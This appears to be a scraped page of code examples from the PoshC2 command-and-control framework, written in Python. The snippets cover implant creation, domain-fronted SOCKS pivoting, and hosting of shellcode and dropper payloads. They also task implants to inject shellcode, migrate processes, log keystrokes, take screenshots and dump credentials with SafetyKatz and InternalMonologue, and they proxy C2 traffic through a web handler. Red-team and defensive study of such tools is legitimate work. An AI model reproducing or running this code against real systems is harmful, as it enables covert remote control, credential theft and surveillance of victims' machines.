Пример #1
0
def do_sharpsocks(user, command, randomuri):
    check_module_loaded("SharpSocks.ps1", randomuri, user)
    import string
    from random import choice
    allchar = string.ascii_letters
    channel = "".join(choice(allchar) for x in range(25))
    sharpkey = gen_key().decode("utf-8")
    sharpurls = get_sharpurls()
    sharpurl = get_first_url(select_item("PayloadCommsHost", "C2Server"),
                             select_item("DomainFrontHeader", "C2Server"))
    dfheader = get_first_dfheader(select_item("DomainFrontHeader", "C2Server"))
    implant = get_implantdetails(randomuri)
    pivot = implant.Pivot
    if pivot != "PS":
        sharpurl = input("Enter the URL for SharpSocks: ")

    print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" %
          (channel, sharpkey, SocksHost) + Colours.GREEN)
    ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if ri.lower() == "n":
        print("")
    if (ri == "") or (ri.lower() == "y"):
        taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (
            sharpurl, channel, sharpkey, sharpurls)
        if dfheader:
            taskcmd += " -DomainFrontURL %s" % dfheader
        new_task(taskcmd, user, randomuri)
        update_label("SharpSocks", randomuri)
Пример #2
0
    def display(self):
        print(Colours.GREEN, "")
        it = self.Pivot
        if "pbind" in it.lower():
            urlInfo = "PBind"
        if "fcomm" in it.lower():
            urlInfo = "FComm"
        else:
            urlInfo = get_url_by_id(self.URLID[0])
            if urlInfo is not None:
                urlInfo = f"URL: {urlInfo[1]}"
            else:
                urlInfo = "URL: Unknown"

        print("[%s] New %s implant connected: (uri=%s key=%s)" % (self.ImplantID, it, self.RandomURI, self.Key))
        print("%s | Time:%s | PID:%s | Sleep:%s | %s (%s) | %s" % (self.IPAddress, self.FirstSeen, str(self.PID), str(self.Sleep), (str(self.User) + " @ " + str(self.Hostname)), self.Arch, urlInfo))
        EnableNotifications = get_notificationstatus()

        try:
            Pushover_APIToken = select_item("Pushover_APIToken", "C2Server")
            Pushover_APIUser = select_item("Pushover_APIUser", "C2Server")
            if EnableNotifications.lower().strip() == "yes" and Pushover_APIToken:
                conn = http.client.HTTPSConnection("api.pushover.net:443")
                conn.request("POST", "/1/messages.json",
                                 urllib.parse.urlencode({
                                     "token": Pushover_APIToken,
                                     "user": Pushover_APIUser,
                                     "message": "[%s] - NewImplant: %s @ %s" % (NotificationsProjectName, self.User, self.Hostname),
                                 }), {"Content-type": "application/x-www-form-urlencoded"})
                output = conn.getresponse()
                if output.status != 200:
                    data = output.read()
                    print("\nPushover error: ")
                    print(data)
        except Exception as e:
            print("Pushover send error: %s" % e)
        try:
            Slack_BotToken = select_item("Slack_BotToken", "C2Server")
            if EnableNotifications.lower().strip() == "yes" and Slack_BotToken:
                mention_userid = select_item("Slack_UserID", "C2Server")
                channel = select_item("Slack_Channel", "C2Server")
                Slack_BotToken = str("Bearer ")+Slack_BotToken
                if mention_userid in ("", None):
                    mention_userid = ""
                elif mention_userid.lower().strip() == "channel":
                    mention_userid = "<!channel> "
                else:
                    mention_userid = "<@%s> " % str(mention_userid)
                message = {"channel": channel, "text": "%s[%s] - NewImplant: %s @ %s" % (mention_userid, NotificationsProjectName, self.User, self.Hostname), "as_user": "******", "link_names": "true"}
                headers = {"Content-type": "application/json","Authorization": Slack_BotToken }
                conn = http.client.HTTPSConnection("slack.com:443")
                conn.request("POST", "/api/chat.postMessage",json.dumps(message), headers)
                output = conn.getresponse()
                if output.status != 200:
                    data = output.read()
                    print("Slack error: ")
                    print(data)
        except Exception as e:
            print("Slack send error: %s" % e)
Пример #3
0
def do_sharpsocks(user, command, randomuri):
    from random import choice
    allchar = string.ascii_letters
    channel = "".join(choice(allchar) for x in range(25))
    sharpkey = gen_key().decode("utf-8")
    sharpurls = get_sharpurls()
    sharpurls = sharpurls.split(",")
    sharpurl = select_item("PayloadCommsHost",
                           "C2Server").replace('"', '').split(',')[0]
    user_agent = select_item("UserAgent", "C2Server")
    dfheader = get_first_dfheader(select_item("DomainFrontHeader", "C2Server"))
    print(
        "\nIf using Docker, change the SocksHost to be the IP of the PoshC2 Server not 127.0.0.1:49031"
    )
    print(
        "sharpsocks -t latest -s \"-c=%s -k=%s --verbose -l=http://*:%s\"\r" %
        (channel, sharpkey, SocksHost.split(":")[2]) + Colours.GREEN)
    print("\nElse\n")
    print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" %
          (channel, sharpkey, SocksHost) + Colours.GREEN)
    ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if ri == "":
        if dfheader:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken -df %s --user-agent \"%s\""
                % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""),
                   sharpurls[1].replace("\"", ""), dfheader, user_agent), user,
                randomuri)
        else:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken  --user-agent \"%s\""
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", ""), user_agent),
                user, randomuri)
    if ri.lower() == "y":
        if dfheader:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken -df %s  --user-agent \"%s\""
                % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""),
                   sharpurls[1].replace("\"", ""), dfheader, user_agent), user,
                randomuri)
        else:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken  --user-agent \"%s\""
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", ""), user_agent),
                user, randomuri)
    print("SharpSocks task issued, to stop SharpSocks run stopsocks")
Пример #4
0
    def display(self):
        print(Colours.GREEN, "")
        it = self.Pivot
        if "pbind" in it.lower():
            urlInfo = "PBind"
        else:
            urlInfo = get_url_by_id(self.URLID[0])
            if urlInfo is not None:
                urlInfo = f"URL: {urlInfo[1]}"
            else:
                urlInfo = "URL: Unknown"

        print("[%s] New %s implant connected: (uri=%s key=%s)" %
              (self.ImplantID, it, self.RandomURI, self.Key))
        print("%s | Time:%s | PID:%s | Sleep:%s | %s (%s) | %s" %
              (self.IPAddress, self.FirstSeen, str(self.PID), str(self.Sleep),
               (str(self.User) + " @ " + str(self.Hostname)), self.Arch,
               urlInfo))
        EnableNotifications = get_notificationstatus()

        try:
            Pushover_APIToken = select_item("Pushover_APIToken", "C2Server")
            Pushover_APIUser = select_item("Pushover_APIUser", "C2Server")

            if EnableNotifications.lower().strip() == "yes":
                conn = http.client.HTTPSConnection("api.pushover.net:443")
                conn.request(
                    "POST", "/1/messages.json",
                    urllib.parse.urlencode({
                        "token":
                        Pushover_APIToken,
                        "user":
                        Pushover_APIUser,
                        "message":
                        "[%s] - NewImplant: %s @ %s" %
                        (NotificationsProjectName, self.User, self.Hostname),
                    }), {"Content-type": "application/x-www-form-urlencoded"})

                output = conn.getresponse()
                if output.status != 200:
                    data = output.read()
                    print("\nPushover error: ")
                    print(data)
        except Exception as e:
            print("Pushover send error: %s" % e)
Пример #5
0
def do_add_hosted_file(user, command):
    FilePath = input("File Path: .e.g. /tmp/application.docx: ")
    URI = input("URI Path: .e.g. /downloads/2020/application: ")
    ContentType = input("Content Type: .e.g. (text/html): ")
    if ContentType == "":
        ContentType = "text/html"
    Base64 = no_yes_prompt("Base64 Encode File")
    if not Base64:
        Base64 = "No"
    else:
        Base64 = "Yes"
    if not URI or not FilePath:
        print_bad("Please enter a FilePath and URI")
        input("Press Enter to continue...")
        clear()
        return
    insert_hosted_file(URI, FilePath, ContentType, Base64, "Yes")
    FirstURL = get_first_url(select_item("PayloadCommsHost", "C2Server"), select_item("DomainFrontHeader", "C2Server"))
    print_good("Added hosted-file \n\n%s%s -> %s (%s)\r\n" % (FirstURL, URI, FilePath, ContentType))
    do_show_hosted_files(user, command)
    clear()
Пример #6
0
def do_sharpsocks(user, command, randomuri):
    from random import choice
    allchar = string.ascii_letters
    channel = "".join(choice(allchar) for x in range(25))
    sharpkey = gen_key().decode("utf-8")
    sharpurls = get_sharpurls()
    sharpurls = sharpurls.split(",")
    sharpurl = get_first_url(select_item("PayloadCommsHost", "C2Server"),
                             select_item("DomainFrontHeader", "C2Server"))
    dfheader = get_first_dfheader(select_item("DomainFrontHeader", "C2Server"))
    print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" %
          (channel, sharpkey, SocksHost) + Colours.GREEN)
    ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if ri == "":
        if dfheader:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken -df %s"
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", ""), dfheader), user,
                randomuri)
        else:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", "")), user,
                randomuri)
    if ri.lower() == "y":
        if dfheader:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken -df %s"
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", ""), dfheader), user,
                randomuri)
        else:
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 1000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", "")), user,
                randomuri)
    print("SharpSocks task issued, to stop SharpSocks run stopsocks")
Пример #7
0
def newdb(db):
    print("Initializing new project folder and %s database" % db.value + Colours.GREEN)
    print("")
    directory = os.path.dirname(PoshProjectDirectory)
    if not os.path.exists(directory):
        os.makedirs(directory)
    if not os.path.exists("%s/downloads" % directory):
        os.makedirs("%s/downloads" % directory)
    if not os.path.exists("%s/reports" % directory):
        os.makedirs("%s/reports" % directory)
    if not os.path.exists("%s/payloads" % directory):
        os.makedirs("%s/payloads" % directory)
    initializedb()
    if not validate_sleep_time(DefaultSleep):
        print(Colours.RED)
        print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
        print(Colours.GREEN)
        sys.exit(1)
    setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, GET_404_Response, PoshProjectDirectory, QuickCommand, DownloadURI, "", "", "", URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, Slack_UserID, Slack_Channel, Slack_BotToken, EnableNotifications)
    rewriteFile = "%s/rewrite-rules.txt" % directory
    print("Creating Rewrite Rules in: " + rewriteFile)
    rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1", "# If running Apache 2.4.52 or Later", "Proxy100Continue Off"]
    rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
    with open(rewriteFile, 'w') as outFile:
        for line in rewriteFileContents:
            outFile.write(line)
            outFile.write('\n')
        outFile.close()

    C2 = get_c2server_all()
    urlId = new_urldetails("default", C2.PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "")
    newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId)

    newPayload.CreateAll()

    create_self_signed_cert(PoshProjectDirectory)
    newPayload.WriteQuickstart(directory + '/quickstart.txt')

    # adding default hosted payloads
    QuickCommandURI = select_item("QuickCommand", "C2Server")
    insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
    insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
    insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
    insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
    insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
    insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
    insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes")
    insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes")
    insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
    insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
    insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
Пример #8
0
    def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid,
                 URLID):
        self.RandomURI = randomuri()
        self.URLID = URLID,
        self.Label = None
        self.User = user
        self.Hostname = hostname
        self.IPAddress = ipaddress
        self.Key = gen_key().decode("utf-8")
        self.FirstSeen = (
            datetime.datetime.now()).strftime("%Y-%m-%d %H:%M:%S")
        self.LastSeen = (datetime.datetime.now()).strftime("%Y-%m-%d %H:%M:%S")
        self.PID = pid
        self.Arch = arch
        self.Domain = domain
        self.DomainFrontHeader = get_dfheader()
        self.Alive = "Yes"
        self.UserAgent = get_defaultuseragent()
        self.Sleep = get_defaultbeacon()
        self.ModsLoaded = ""
        self.Jitter = Jitter
        self.ImplantID = ""
        self.Pivot = pivot
        self.KillDate = get_killdate()
        self.ServerURL = select_item("PayloadCommsHost", "C2Server")
        self.AllBeaconURLs = get_otherbeaconurls()
        self.AllBeaconImages = get_images()
        self.SharpCore = """
RANDOMURI19901%s10991IRUMODNAR
URLS10484390243%s34209348401SLRU
KILLDATE1665%s5661ETADLLIK
SLEEP98001%s10089PEELS
JITTER2025%s5202RETTIJ
NEWKEY8839394%s4939388YEKWEN
IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs,
                                 self.KillDate, self.Sleep, self.Jitter,
                                 self.Key, self.AllBeaconImages)
        with open("%spy_dropper.sh" % (PayloadsDirectory), 'rb') as f:
            self.PythonImplant = base64.b64encode(f.read()).decode("utf-8")
        py_implant_core = open(
            "%s/Implant-Core.py" % PayloadTemplatesDirectory, 'r').read()
        self.PythonCore = py_implant_core % (
            self.DomainFrontHeader, self.Sleep, self.AllBeaconImages,
            self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Jitter,
            self.Key, self.RandomURI, self.UserAgent)
        ps_implant_core = open(
            "%s/Implant-Core.ps1" % PayloadTemplatesDirectory, 'r').read()
        self.PSCore = ps_implant_core % (
            self.Key, self.Jitter, self.Sleep, self.AllBeaconImages,
            self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs
        )  # Add all db elements def display(self):
Пример #9
0
def existingdb(db):
    print("Using existing %s database / project" % db.value + Colours.GREEN)
    database_connect()
    C2 = get_c2server_all()
    if ((C2.PayloadCommsHost == PayloadCommsHost) and (C2.DomainFrontHeader == DomainFrontHeader)):
        qstart = "%squickstart.txt" % (PoshProjectDirectory)
        if os.path.exists(qstart):
            with open(qstart, 'r') as f:
                print(f.read())
    else:
        print("Error different IP so regenerating payloads")
        if os.path.exists("%spayloads_old" % PoshProjectDirectory):
            import shutil
            shutil.rmtree("%spayloads_old" % PoshProjectDirectory)
        os.rename("%spayloads" % PoshProjectDirectory, "%spayloads_old" % PoshProjectDirectory)
        os.makedirs("%spayloads" % PoshProjectDirectory)
        update_item("PayloadCommsHost", "C2Server", PayloadCommsHost)
        update_item("QuickCommand", "C2Server", QuickCommand)
        update_item("DomainFrontHeader", "C2Server", DomainFrontHeader)
        C2 = get_c2server_all()
        urlId = new_urldetails(f"updated_host-{datetime.strftime(datetime.now(timezone.utc), '%Y-%m-%d-%H:%M:%S')}", PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "")
        newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId)
        newPayload.CreateAll()
        newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt')

        # adding default hosted payloads
        QuickCommandURI = select_item("QuickCommand", "C2Server")
        insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
        insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
        insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
        insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
        insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
        insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
        insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes")
        insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes")
        insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
        insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
        insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
Пример #10
0
def handle_pbind_command(command, user, randomuri, implant_id):

    # convert randomuri to parent randomuri
    oldrandomuri = randomuri
    p = get_implantdetails(randomuri)
    newimplant_id = re.search(r'(?<=\s)\S*', p.Label).group()
    if newimplant_id is not None:
        randomuri = get_randomuri(newimplant_id)

    # alias mapping
    for alias in cs_alias:
        if alias[0] == command[:len(command.rstrip())]:
            command = alias[1]

    # alias replace
    for alias in cs_replace:
        if command.startswith(alias[0]):
            command = command.replace(alias[0], alias[1])

    original_command = command
    command = command.strip()

    run_autoloads_sharp(command, randomuri, user, isPBind=True)

    if command.startswith("searchhistory"):
        searchterm = (command).replace("searchhistory ", "")
        with open('%s/.implant-history' % PoshProjectDirectory) as hisfile:
            for line in hisfile:
                if searchterm in line.lower():
                    print(Colours.GREEN + line.replace("+",""))

    elif command.startswith("searchhelp"):
        searchterm = (command).replace("searchhelp ", "")
        helpful = sharp_help.split('\n')
        for line in helpful:
            if searchterm in line.lower():
                print(Colours.GREEN + line)

    elif command.startswith("upload-file"):
        source = ""
        destination = ""
        if command == "upload-file":
            style = Style.from_dict({
                '': '#80d130',
            })
            session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
            try:
                source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
                source = PayloadsDirectory + source
            except KeyboardInterrupt:
                return
            while not os.path.isfile(source):
                print("File does not exist: %s" % source)
                source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
                source = PayloadsDirectory + source
            destination = session.prompt("Location to upload to: ")
        else:
            args = argp(command)
            source = args.source
            destination = args.destination
        try:
            destination = destination.replace("\\", "\\\\")
            print("")
            print("Uploading %s to %s" % (source, destination))
            uploadcommand = f"upload-file {source} {destination}"
            new_task(f"pbind-command {uploadcommand}", user, randomuri)
        except Exception as e:
            print_bad("Error with source file: %s" % e)
            traceback.print_exc()

    elif command.startswith("unhide-implant"):
        unhide_implant(oldrandomuri)

    elif command.startswith("hide-implant"):
        kill_implant(oldrandomuri)

    elif command.startswith("inject-shellcode"):
        params = re.compile("inject-shellcode", re.IGNORECASE)
        params = params.sub("", command)
        style = Style.from_dict({
            '': '#80d130',
        })
        session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
        try:
            path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
            path = PayloadsDirectory + path
        except KeyboardInterrupt:
            return
        try:
            shellcodefile = load_file(path)
            if shellcodefile is not None:
                new_task("pbind-command run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri)
        except Exception as e:
            print("Error loading file: %s" % e)

    elif command.startswith("migrate"):
        params = re.compile("migrate", re.IGNORECASE)
        params = params.sub("", command)
        migrate(randomuri, user, params)

    elif command == "kill-implant" or command == "exit":
        impid = get_implantdetails(randomuri)
        ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID)
        if ri.lower() == "n":
            print("Implant not terminated")
        if ri == "" or ri.lower() == "y":
            new_task("pbind-kill", user, randomuri)
            kill_implant(oldrandomuri)

    elif command == "sharpsocks":
        from random import choice
        allchar = string.ascii_letters
        channel = "".join(choice(allchar) for x in range(25))
        sharpkey = gen_key().decode("utf-8")
        sharpurls = get_sharpurls()
        sharpurls = sharpurls.split(",")
        sharpurl = select_item("HostnameIP", "C2Server")
        print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN)
        ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
        if ri.lower() == "n":
            print("")
        if ri == "":
            new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
        if ri.lower() == "y":
            new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)

    elif (command.startswith("stop-keystrokes")):
        new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri)
        update_label("", randomuri)

    elif (command.startswith("start-keystrokes")):
        check_module_loaded("Logger.exe", randomuri, user)
        new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri)
        update_label("KEYLOG", randomuri)

    elif (command.startswith("get-keystrokes")):
        new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri)

    elif (command.startswith("get-screenshotmulti")):
        pwrStatus = get_powerstatusbyrandomuri(randomuri)
        if (pwrStatus is not None and pwrStatus[7]):
            ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
            if ri.lower() == "n" or ri.lower() == "":
                return
        new_task(f"pbind-command {command}", user, randomuri)
        update_label("SCREENSHOT", randomuri)

    elif (command.startswith("get-screenshot")):
        pwrStatus = get_powerstatusbyrandomuri(randomuri)
        if (pwrStatus is not None and pwrStatus[7]):
            ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
            if ri.lower() == "n" or ri.lower() == "":
                return
        new_task(f"pbind-command {command}", user, randomuri)

    elif (command == "get-powerstatus"):
        getpowerstatus(randomuri)
        new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri)

    elif (command == "getpowerstatus"):
        getpowerstatus(randomuri)
        new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri)

    elif (command.startswith("stop-powerstatus")):
        new_task(f"pbind-command {command}", user, randomuri)
        update_label("", randomuri)

    elif (command.startswith("stoppowerstatus")):
        new_task(f"pbind-command {command}", user, randomuri)
        update_label("", randomuri)

    elif (command.startswith("pslo")):
        new_task(f"pbind-{command}", user, randomuri)

    elif (command.startswith("run-exe SharpWMI.Program")) and "execute" in command and "payload" not in command:
        style = Style.from_dict({'': '#80d130'})
        session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
        try:
            path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64"))
            path = PayloadsDirectory + path
        except KeyboardInterrupt:
            return
        if os.path.isfile(path):
            with open(path, "r") as p:
                payload = p.read()
            new_task("pbind-command %s payload=%s" % (command,payload), user, randomuri)
        else:
            print_bad("Could not find file")

    elif (command.startswith("get-hash")):
        check_module_loaded("InternalMonologue.exe", randomuri, user)
        new_task("pbind-command run-exe InternalMonologue.Program InternalMonologue", user, randomuri)

    elif (command.startswith("safetykatz")):
        new_task("pbind-command run-exe SafetyKatz.Program %s" % command, user, randomuri)

    elif command.startswith("loadmoduleforce"):
        params = re.compile("loadmoduleforce ", re.IGNORECASE)
        params = params.sub("", command)
        new_task("pbind-loadmodule %s" % params, user, randomuri)

    elif command.startswith("loadmodule"):
        params = re.compile("loadmodule ", re.IGNORECASE)
        params = params.sub("", command)
        new_task("pbind-loadmodule %s" % params, user, randomuri)

    elif command.startswith("listmodules"):
        modules = os.listdir("%s/Modules/" % PoshInstallDirectory)
        modules = sorted(modules, key=lambda s: s.lower())
        print("")
        print("[+] Available modules:")
        print("")
        for mod in modules:
            if (".exe" in mod) or (".dll" in mod):
                print(mod)

    elif command.startswith("modulesloaded"):
        ml = get_implantdetails(randomuri)
        print(ml.ModsLoaded)
        new_task("pbind-command listmodules", user, randomuri)

    elif command == "help" or command == "?":
        print(sharp_help)

    elif command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"):
        new_sleep = command.replace('set-beacon ', '')
        new_sleep = new_sleep.replace('setbeacon ', '')
        new_sleep = new_sleep.replace('beacon ', '').strip()
        if not validate_sleep_time(new_sleep):
            print(Colours.RED)
            print("Invalid sleep command, please specify a time such as 50s, 10m or 1h")
            print(Colours.GREEN)
        else:
            new_task(f"pbind-command {command}", user, randomuri)

    else:
        if command:
            new_task(f"pbind-command {original_command}", user, randomuri)
        return
Пример #11
0
    def do_GET(self):
        try:
            """Respond to a GET request."""
            response_content_len = None
            response_code = 200
            response_content_type = "text/html"
            response_content = None

            hosted_files = get_hosted_files()

            webserver_log("GET request,\nPath: %s\nHeaders:\n%s\n" % (str(self.path), str(self.headers)))

            self.cookieHeader = self.headers.get('Cookie')
            self.ref = self.headers.get('Referer')

            UriPath = str(self.path)
            sharplist = []
            for hosted_file in sharpurls:
                hosted_file = hosted_file.replace(" ", "")
                hosted_file = hosted_file.replace("\"", "")
                sharplist.append("/" + hosted_file)

            self.server_version = ServerHeader
            self.sys_version = ""
            if not self.cookieHeader:
                self.cookieHeader = "NONE"

            # implant gets a new task
            new_task = newTask(self.path)

            if new_task:
                response_content = new_task

            elif [ele for ele in sharplist if(ele in UriPath)]:
                try:
                    webserver_log("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
                    r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
                    res = urlopen(r)
                    sharpout = res.read()
                    response_content_len = len(sharpout)
                    if (len(sharpout) > 0):
                        response_content = sharpout
                except HTTPError as e:
                    response_code = e.code
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                except Exception as e:
                    webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                    webserver_log("[-] SharpSocks  %s\r\n" % e)
                    print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
                    response_code = 404
                    HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                    if HTTPResponsePage:
